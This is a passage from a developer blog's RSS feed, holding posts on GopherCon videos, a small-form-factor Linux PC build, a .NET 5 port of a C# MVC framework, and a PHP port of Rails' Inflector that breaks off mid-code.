<li><a href="https://www.youtube.com/watch?v=mpcaJux74Qs">Michael Richman - Write Once, Use Many: A Handy Package to Call Internal HTTP APIs</a>
[32:39]</li>
<li><a href="https://www.youtube.com/watch?v=OxLmd7szevI">Grant Seltzer Richman - Tracing Go Programs with eBPF!</a>
[53:02]</li>
<li><a href="https://www.youtube.com/watch?v=DHVeUsrKcbM">Dan Scales - Implementing Faster Defers</a>
[23:14]</li>
<li><a href="https://www.youtube.com/watch?v=DlcL92kT0Ik">Travis Smith - Optimizing Performance using a VM and Go Plugins</a>
[48:01]</li>
<li><a href="https://www.youtube.com/watch?v=lxdTGNxIsm0">Zac Staples - Go Make Something Real – The Potential for Go on the Factory Floor</a>
[27:34]</li>
<li><a href="https://www.youtube.com/watch?v=d5m9MJ9eLoU">Alex Stockwell/Kevin Tyers - A Game Engine for 300 DEFCON Hackers to Smash</a>
[36:52]</li>
<li><a href="https://www.youtube.com/watch?v=EsPcKkESYPA">Justen Walker - Safety Not Guaranteed: Calling Windows APIs using Unsafe and Syscall</a>
[44:55]</li>
<li><a href="https://www.youtube.com/watch?v=X8w4yCmAMos">Ted Young - The Fundamentals of OpenTelemetry</a>
[28:39]</li>
<li><a href="https://www.youtube.com/watch?v=BNHwHLNLjLs">Ask Me Anything with the Go Team</a>
[48:12]</li>
<li><a href="https://www.youtube.com/watch?v=r63PjX-GltQ">Go Time Podcast Day 1 - What to Expect When You&rsquo;re NOT Expecting</a>
[49:42]</li>
<li><a href="https://www.youtube.com/watch?v=wrVOF4PI3ko">Go Time Podcast Day 2 - The Secret Life of Gophers</a>
[1:00:18]</li>
<li><a href="https://www.youtube.com/watch?v=upREdDuDEPE">Go Time Podcast Day 3 - Go Panic! Game Show</a>
[1:00:39]</li>
<li><a href="https://www.youtube.com/watch?v=5qnIJ3L2Sc4">Lightning Talks Day 1</a> [44:17]</li>
<li><a href="https://www.youtube.com/watch?v=YGREMxpodN8">Lightning Talks Day 2</a> [1:08:07]</li>
</ul>
<h3 id="other-conference-videos">Other conference videos</h3>
<p>Did you like this post? There are more Go conference videos available, see:</p>
<ul>
<li><a href="https://tqdev.com/2019-gophercon-2019-videos-online">GopherCon 2019</a></li>
<li><a href="https://tqdev.com/2018-gophercon-2018-videos-online">GopherCon 2018</a></li>
<li><a href="https://tqdev.com/2017-gophercon-2017-videos-online">GopherCon 2017</a></li>
<li><a href="https://tqdev.com/2016-gophercon-2016-videos-online">GopherCon 2016</a></li>
</ul>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>ASRock Deskmini X300 SFF Linux PC</title>
      <link>https://www.tqdev.com/2021-deskmini-x300-sff-linux-pc/</link>
      <pubDate>Thu, 18 Nov 2021 19:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-deskmini-x300-sff-linux-pc/</guid>
      <description>&lt;p&gt;I&amp;rsquo;ve replaced my Intel NUC i5 with something more powerful (ASRock DeskMini A300
case with a Ryzen 3 3200G processor), see my original post
&lt;a href=&#34;https://tqdev.com/2019-ultimate-nuc-killer-under-500&#34;&gt;Ultimate NUC killer under 500&lt;/a&gt;.
It worked wonders, but I wanted even more performance at my fingertips, so I
replaced the ASRock DeskMini A300 with a X300 (it&amp;rsquo;s successor) and the Ryzen 3
3200G with a Ryzen 7 5700G processor. Also I&amp;rsquo;ve used a black instead of a brown
Noctua low profile CPU cooler and installed 64GB RAM instead of 16GB. Like
previous build it is super fast and not too noisy. I run Xubuntu 20.04 LTS and
it works great (although you may prefer a newer kernel for improved video
performance), I&amp;rsquo;m very pleased with the results!&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;ve replaced my Intel NUC i5 with something more powerful (ASRock DeskMini A300
case with a Ryzen 3 3200G processor), see my original post
<a href="https://tqdev.com/2019-ultimate-nuc-killer-under-500">Ultimate NUC killer under 500</a>.
It worked wonders, but I wanted even more performance at my fingertips, so I
replaced the ASRock DeskMini A300 with a X300 (it&rsquo;s successor) and the Ryzen 3
3200G with a Ryzen 7 5700G processor. Also I&rsquo;ve used a black instead of a brown
Noctua low profile CPU cooler and installed 64GB RAM instead of 16GB. Like
previous build it is super fast and not too noisy. I run Xubuntu 20.04 LTS and
it works great (although you may prefer a newer kernel for improved video
performance), I&rsquo;m very pleased with the results!</p>
<h3 id="better-specifications">Better specifications</h3>
<p>This build has a 3.8Ghz, (4.8Ghz turbo) octa core instead of a 3.6Ghz (4.0Ghz
turbo) quad core CPU (5700G vs. 3200G). It has a 3500 MB/s 2TB PCIe 4.0 based
NVMe instead of a 1800 MB/s 1TB disk (Samsung 970 EVO Plus 2TB vs Intel 660p
1TB).</p>
<pre><code> 145 EUR - Asrock DeskMini X300 - SFF barebone
 239 EUR - G.Skill DDR4 SODIMM Ripjaws 2x32GB 3200MHz - Memory
 229 EUR - Samsung 970 EVO Plus 2TB NVMe - Solid state drive
 339 EUR - AMD Ryzen 7 5700G processor - Processor
  49 EUR - Noctua NH-L9a-AM4 chromax.black - CPU cooler
--------
1001 EUR (including VAT)
</code></pre>
<p>NB: The above prices are based on the offering of Dutch web-shops for PC parts,
such as &ldquo;Megekko&rdquo;, &ldquo;Azerty&rdquo; and &ldquo;Alternate&rdquo;, at the time of writing of this
post.</p>
<h3 id="use-case">Use case</h3>
<p>I love having 8 cores and 64 GB of RAM and an ultra-fast 2TB disk, it makes
working with virtual machines and docker a lovely experience. You can also run
many browser tabs and electron applications simultaneously without running out
of RAM. It sure is overkill for the things I typically do (mostly programming).</p>
<p>If you compare this machine with a Intel NUC 11 Performance (quad core i7), then
this machine wins easily in specifications, performance and absolute price. The
form factor of 1.8 liter is larger than the Intel NUC, but it is also quieter,
thanks to the excellent Noctua fan. I really wonder who would buy the NUC when
you can have this much more computer for so much less money (the barebone NUC 11
Performance goes for 819 EUR at the time of writing, totaling at 1287 EUR with
the same components).</p>
<p>It was a lot of fun to build the computer and I&rsquo;m really impressed with the
price/performance ratio of the machine. I don&rsquo;t think I ever owned such a
powerful machine at such a small form factor. Downsides of this machine are the
small number of USB ports (3x normal USB and 1x USB-C), the lack of WiFi (can be
added, but I don&rsquo;t need it) and relatively high idle power usage (I just turn it
off when I don&rsquo;t use it).</p>
<h3 id="installing-a-recent-kernel">Installing a recent kernel</h3>
<p>You can experiment with newer kernels from the
<a href="http://kernel.ubuntu.com/~kernel-ppa/mainline/">Ubuntu Kernel PPA</a> or you can
upgrade to Xubuntu 21.10 for the latest official Xubuntu release. I prefer to
run 20.04 with a slightly newer kernel, but installing 21.10 is probably a lot
easier. Installing a new(er) kernel is less cumbersome when you use a tool like
&ldquo;<a href="https://github.com/bkw777/mainline">Mainline</a>&rdquo;, but is also not really hard
when you learn to do it &ldquo;by hand&rdquo;.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://www.asrock.com/nettop/AMD/DeskMini%20X300%20Series/index.asp">ASRock - DeskMini X300 Series</a></li>
<li><a href="https://smallformfactor.net/forum/threads/deskmini-x300-apu-5600g-or-5700g.16922/">SFF.Network: Deskmini x300 APU 5600G or 5700G</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Maussoft MVC ported to .NET 5</title>
      <link>https://www.tqdev.com/2021-maussoft-mvc-ported-to-net-5/</link>
      <pubDate>Sun, 31 Oct 2021 18:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-maussoft-mvc-ported-to-net-5/</guid>
      <description>&lt;p&gt;In 2015 I was working on a
&lt;a href=&#34;https://github.com/maussoft/mvc&#34;&gt;Simple C# web framework for .NET&lt;/a&gt;. Back then I
wanted to create an MVC framework that would allow me to run C# web applications
on Linux. Back then I was using MonoDevelop to work on C# code for Mono. Today
in 2021 I&amp;rsquo;m using Visual Studio Code to write C# code for .NET 5 (still on
Linux). This port aims to take full advantage of the new .NET 5 platform and
it&amp;rsquo;s support for Linux. I am especially interested in cross-platform support and
creating single executable web applications (like Go can do with
&lt;a href=&#34;https://github.com/elazarl/go-bindata-assetfs&#34;&gt;go-bindata-assetfs&lt;/a&gt;).&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>In 2015 I was working on a
<a href="https://github.com/maussoft/mvc">Simple C# web framework for .NET</a>. Back then I
wanted to create an MVC framework that would allow me to run C# web applications
on Linux. Back then I was using MonoDevelop to work on C# code for Mono. Today
in 2021 I&rsquo;m using Visual Studio Code to write C# code for .NET 5 (still on
Linux). This port aims to take full advantage of the new .NET 5 platform and
it&rsquo;s support for Linux. I am especially interested in cross-platform support and
creating single executable web applications (like Go can do with
<a href="https://github.com/elazarl/go-bindata-assetfs">go-bindata-assetfs</a>).</p>
<h2 id="design-philosophy">Design philosophy</h2>
<p>I tried to sum up the goals for the project as bullet points:</p>
<ul>
<li>Develop and run primarily on Linux</li>
<li>Single executable, easy to deploy
<ul>
<li>Views produce code that can be debugged</li>
<li>Static files are embedded.</li>
</ul>
</li>
<li>Convention over configuration
<ul>
<li>Routing uses reflection, no exceptions</li>
</ul>
</li>
<li>Simple to understand, not too much code</li>
<li>Minimal dependencies, no ASP.NET</li>
</ul>
<p>Thankfully .NET 5 makes it really easy to achieve those goals.</p>
<h2 id="install-net-5-on-ubuntu">Install .NET 5 on Ubuntu</h2>
<p>On Ubuntu 20.04 you need to execute:</p>
<pre><code>wget https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb \
  -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
</code></pre>
<p>Then install the needed packages using:</p>
<pre><code>sudo apt-get update; \
  sudo apt-get install -y apt-transport-https &amp;&amp; \
  sudo apt-get update &amp;&amp; \
  sudo apt-get install -y dotnet-sdk-5.0
</code></pre>
<p>Source:
<a href="https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#2004-">https://docs.microsoft.com/en-us/dotnet/core/install/linux-ubuntu</a></p>
<p>Now you have the <code>dotnet</code> command on your command line and I would recommend
that you install Visual Studio Code and it&rsquo;s C# extension.</p>
<h2 id="how-to-get-started">How to get started</h2>
<p>Would you like to play with this minimalistic MVC framework? First you need to
clone the example project:</p>
<pre><code>git clone https://github.com/maussoft/mvc-example-cs
</code></pre>
<p>Now you have the following directories in your project directory:</p>
<ul>
<li>bin/ (ignored, where the executables are stored)</li>
<li>obj/ (ignored, where the intermediate binaries are stored)</li>
<li>tools/ (this is where the view generator task is stored)</li>
<li>Content/ (this is where the Javascript, CSS and images are stored)</li>
<li>Controllers/ (your controller classes)</li>
<li>Views/ (your views with a subdirectory for every controller)</li>
<li>Acme.Example.csproj (your project file)</li>
<li>Program.cs (the entry point of your application, with function &ldquo;Main&rdquo; )</li>
<li>Session.cs (the session object that is available on every action)</li>
<li>appsettings.json (the settings of the application)</li>
</ul>
<p>Now let me show you how to add some code.</p>
<h2 id="writing-the-code">Writing the code</h2>
<p>Our webserver uses the following session class in <code>Session.cs</code>:</p>
<pre><code>using System.Collections.Generic;

public class Session
{
  public List&lt;string&gt; Names { get; set; }

  public Session()
  {
    this.Names = new List&lt;string&gt;();
  }
}
</code></pre>
<p>This Session class can hold names in a list.</p>
<p>Now let&rsquo;s create a simple controller in <code>Controllers/Hello.cs</code>:</p>
<pre><code>using Maussoft.Mvc;

namespace Acme.Example.Controllers
{
  public class Hello
  {
    public void World(WebContext&lt;Session&gt; context, string name)
    {
      context.Session.Names.Add(name);
      context.Data.Names = context.Session.Names.ToArray();
    }
  }
}
</code></pre>
<p>The create a Layout in <code>Views/Layouts/Hello.aspx</code>:</p>
<pre><code>&lt;%@ Master %&gt;
&lt;!DOCTYPE html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;Hello!&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;% RenderViewContent(); %&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<p>And a view in <code>Views/Hello/World.aspx</code>:</p>
<pre><code>&lt;%@ Page Inherits=&quot;Layouts.Hello&quot; %&gt;
&lt;h1&gt;Names&lt;/h1&gt;
&lt;ul&gt;
  &lt;% foreach (var name in Context.Data.Names) { %&gt;
    &lt;li&gt;&lt;%= name %&gt;&lt;/li&gt;
  &lt;% } %&gt;
&lt;/ul&gt;
</code></pre>
<p>And then run the application using:</p>
<pre><code>dotnet run
</code></pre>
<p>And access it on:</p>
<p><a href="http://localhost:2345/Hello/World/Maurits">http://localhost:2345/Hello/World/Maurits</a></p>
<p>You will see an increasing list of names (stored in the session).</p>
<p>Source code: <a href="https://github.com/maussoft/mvc">https://github.com/maussoft/mvc</a></p>
<p>Happy programming!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Rails&#39; singularize and pluralize in PHP</title>
      <link>https://www.tqdev.com/2021-rails-singularize-and-pluralize-functions-in-php/</link>
      <pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2021-rails-singularize-and-pluralize-functions-in-php/</guid>
      <description>&lt;p&gt;Ruby on Rails was preaching plural table names back in 2005 and DHH shipped
Rails with an &amp;ldquo;Inflector&amp;rdquo; class: a class that could convert (English) plurals
into singulars and vice versa. This was used to map the plural table names to
the singular &amp;ldquo;Model&amp;rdquo; class names when doing &amp;ldquo;scaffolding&amp;rdquo; (code generation).&lt;/p&gt;
&lt;p&gt;The Inflector class had a &amp;ldquo;singularize&amp;rdquo; and a &amp;ldquo;pluralize&amp;rdquo; method that you could
call with either the plural or the singular form of an (English) noun and it
would convert it for you. Thus, it could convert the string &amp;rsquo;lives&amp;rsquo; to &amp;rsquo;life&amp;rsquo;
with the &amp;ldquo;singularize&amp;rdquo; method and &amp;lsquo;person&amp;rsquo; to &amp;lsquo;people&amp;rsquo; with the &amp;ldquo;pluralize&amp;rdquo;
method. This post will explain how this magical &amp;ldquo;Inflector&amp;rdquo; class worked.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Ruby on Rails was preaching plural table names back in 2005 and DHH shipped
Rails with an &ldquo;Inflector&rdquo; class: a class that could convert (English) plurals
into singulars and vice versa. This was used to map the plural table names to
the singular &ldquo;Model&rdquo; class names when doing &ldquo;scaffolding&rdquo; (code generation).</p>
<p>The Inflector class had a &ldquo;singularize&rdquo; and a &ldquo;pluralize&rdquo; method that you could
call with either the plural or the singular form of an (English) noun and it
would convert it for you. Thus, it could convert the string &rsquo;lives&rsquo; to &rsquo;life&rsquo;
with the &ldquo;singularize&rdquo; method and &lsquo;person&rsquo; to &lsquo;people&rsquo; with the &ldquo;pluralize&rdquo;
method. This post will explain how this magical &ldquo;Inflector&rdquo; class worked.</p>
<p>NB: Although I fully bought into all Rails&rsquo; conventions back in the day, I&rsquo;m no
longer convinced the theoretical benefit of plural table names is worth it&rsquo;s
practical downsides. I have written a post to explain in detail why I feel
<a href="https://tqdev.com/2021-should-table-names-be-singular-or-plural">database tables should be named with singular nouns</a>.</p>
<h3 id="packagist">Packagist</h3>
<p>For anyone in need of a good implementation of an Inflector in PHP I suggest to
take a look at Packagist. On Packagist you can find the following 3 popular
packages that provide a &ldquo;singularize&rdquo; and &ldquo;pluralize&rdquo; function:</p>
<ul>
<li>doctrine/inflector - This is by far the most popular Inflector for PHP</li>
<li>symfony/string - This is the replacement of the Symfony Inflector</li>
<li>icanboogie/inflector - This is a multi-lingual Inflector class</li>
</ul>
<p>The first one can be installed with the following composer command:</p>
<pre><code>composer require doctrine/inflector
</code></pre>
<p>Now you can use:</p>
<pre><code>use \Doctrine\Inflector\InflectorFactory;

$factory = InflectorFactory::create();
$inflector = $factory-&gt;build();
$singular = $inflector-&gt;singularize($plural);
</code></pre>
<p>The static &ldquo;create&rdquo; call on the InflectorFactory creates a
LanguageInflectorFactory that can in turn &ldquo;build&rdquo; an Inflector. I always need to
smile when I encounter a FactoryFactory in the wild.</p>
<h3 id="roll-your-own">Roll your own</h3>
<p>If you want to fully understand what the Inflector is doing (or want to
implement your own) you can start where I started: I&rsquo;ve chosen to copy the
language rules from the latest Ruby on Rails and rewrite the &ldquo;singularize&rdquo; and
&ldquo;pluralize&rdquo; functions from scratch.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="sd">/**
</span></span></span><span class="line"><span class="cl"><span class="sd"> * This class is a port of the Ruby on Rails Inflector class. From the docs:
</span></span></span><span class="line"><span class="cl"><span class="sd"> * 
</span></span></span><span class="line"><span class="cl"><span class="sd"> * &gt; Defines the standard inflection rules. These are the starting point for
</span></span></span><span class="line"><span class="cl"><span class="sd"> * &gt; new projects and are not considered complete. The current set of inflection
</span></span></span><span class="line"><span class="cl"><span class="sd"> * &gt; rules is frozen. This means, we do not change them to become more complete.
</span></span></span><span class="line"><span class="cl"><span class="sd"> * &gt; This is a safety measure to keep existing applications from breaking.
</span></span></span><span class="line"><span class="cl"><span class="sd"> * 
</span></span></span><span class="line"><span class="cl"><span class="sd"> * source: https://github.com/rails/rails/blob/main/activesupport/lib/active_support/inflections.rb
</span></span></span><span class="line"><span class="cl"><span class="sd"> **/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Inflector</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>   
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="k">static</span> <span class="nv">$irregulars</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;person&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;people&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;man&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;men&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;child&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;children&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;sex&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;sexes&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;move&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;moves&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;zombie&#34;</span> <span class="o">=&gt;</span> <span class="s2">&#34;zombies&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="k">static</span> <span class="nv">$uncountables</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;equipment&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;information&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;rice&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;money&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;species&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;series&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;fish&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;sheep&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;jeans&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;police&#39;</span> <span class="o">=&gt;</span> <span class="k">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="k">static</span> <span class="nv">$plurals</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/$/&#39;</span> <span class="o">=&gt;</span> <span class="s2">&#34;s&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s2">&#34;s&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(ax|test)is$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1es&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(octop|vir)us$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1i&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(octop|vir)i$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1i&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(alias|status)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1es&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(bu)s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ses&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(buffal|tomat)o$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1oes&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([ti])um$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1a&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([ti])a$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1a&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/sis$/i&#39;</span> <span class="o">=&gt;</span> <span class="s2">&#34;ses&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(?:([^f])fe|([lr])f)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1\2ves&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(hive)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1s&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([^aeiouy]|qu)y$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ies&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(x|ch|ss|sh)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1es&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(matr|vert|ind)(?:ix|ex)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ices&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(m|l)ouse$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ice&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(m|l)ice$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ice&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(ox)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1en&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(oxen)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(quiz)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1zes&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">private</span> <span class="k">static</span> <span class="nv">$singulars</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(ss)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(n)ews$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ews&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([ti])a$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1um&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)(sis|ses)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1sis&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(^analy)(sis|ses)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1sis&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([^f])ves$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1fe&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(hive)s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(tive)s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([lr])ves$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1f&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/([^aeiouy]|qu)ies$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1y&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(s)eries$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1eries&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(m)ovies$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ovie&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(x|ch|ss|sh)es$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(m|l)ice$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ouse&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(bus)(es)?$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(o)es$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(shoe)s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(cris|test)(is|es)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1is&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(a)x[ie]s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1xis&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(octop|vir)(us|i)$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1us&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(alias|status)(es)?$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/^(ox)en/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(vert|ind)ices$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ex&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(matr)ices$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1ix&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(quiz)zes$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;/(database)s$/i&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;\1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">];</span>
</span></span><span class="line"><span class="cl">
